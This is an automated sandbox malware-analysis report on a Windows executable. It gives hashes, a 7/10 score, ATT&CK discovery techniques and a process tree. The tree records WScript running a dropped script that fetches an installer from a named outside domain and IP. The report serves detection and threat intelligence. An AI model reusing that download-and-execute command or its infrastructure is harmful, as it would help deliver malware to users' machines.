37c4b5bd6bdb9b9f023aea9488795d375d86545f4addaaa17eef900b9aaceaf9

Analysis

max time kernel
100s
max time network
90s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
26/04/2024, 15:47

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General

Target
011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe
Size 184KB
Sample240426-s8hneseh35
SHA256 37c4b5bd6bdb9b9f023aea9488795d375d86545f4addaaa17eef900b9aaceaf9
MD5 011e4d7b4a4d5c39a8935aceadd77ee4
SHA1 898480f9dbca5216521bb49768698e924f672284
SHA512 ab9395a6b0b9725e063cf3ed566def307a23b9342615e409fdfacd2b58f32c5849b4f1d1a34f230f58ae56b0f7835d09b2acfbea2a652775233a695f126fe0d4
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3j:/7BSH8zUB+nGESaaRvoB7FJNndnu
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Control Panel\International\Geo\Nation	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000_Classes\Local Settings	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4776 wrote to memory of 2988	4776	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe	85
PID 4776 wrote to memory of 2988	4776	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe	85
PID 4776 wrote to memory of 2988	4776	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe	85
PID 4776 wrote to memory of 4164	4776	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe	89
PID 4776 wrote to memory of 4164	4776	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe	89
PID 4776 wrote to memory of 4164	4776	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe	89
PID 4776 wrote to memory of 3580	4776	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe	95
PID 4776 wrote to memory of 3580	4776	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe	95
PID 4776 wrote to memory of 3580	4776	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe	95
PID 4776 wrote to memory of 4112	4776	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe	98
PID 4776 wrote to memory of 4112	4776	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe	98
PID 4776 wrote to memory of 4112	4776	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe	98
PID 4776 wrote to memory of 1864	4776	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe	99
PID 4776 wrote to memory of 1864	4776	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe	99
PID 4776 wrote to memory of 1864	4776	011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe	99

C:\Users\Admin\AppData\Local\Temp\011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\011e4d7b4a4d5c39a8935aceadd77ee4_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4776
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3623.js" http://www.djapp.info/?domain=tOkSyPAcwS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3623.exe
  2⤵
  PID:2988
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3623.js" http://www.djapp.info/?domain=tOkSyPAcwS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3623.exe
  2⤵
  PID:4164
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3623.js" http://www.djapp.info/?domain=tOkSyPAcwS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3623.exe
  2⤵
  PID:3580
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3623.js" http://www.djapp.info/?domain=tOkSyPAcwS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3623.exe
  2⤵
  PID:4112
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3623.js" http://www.djapp.info/?domain=tOkSyPAcwS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3623.exe
  2⤵
  PID:1864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

fuf3623.js

Path C:\Users\Admin\AppData\Local\Temp\fuf3623.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

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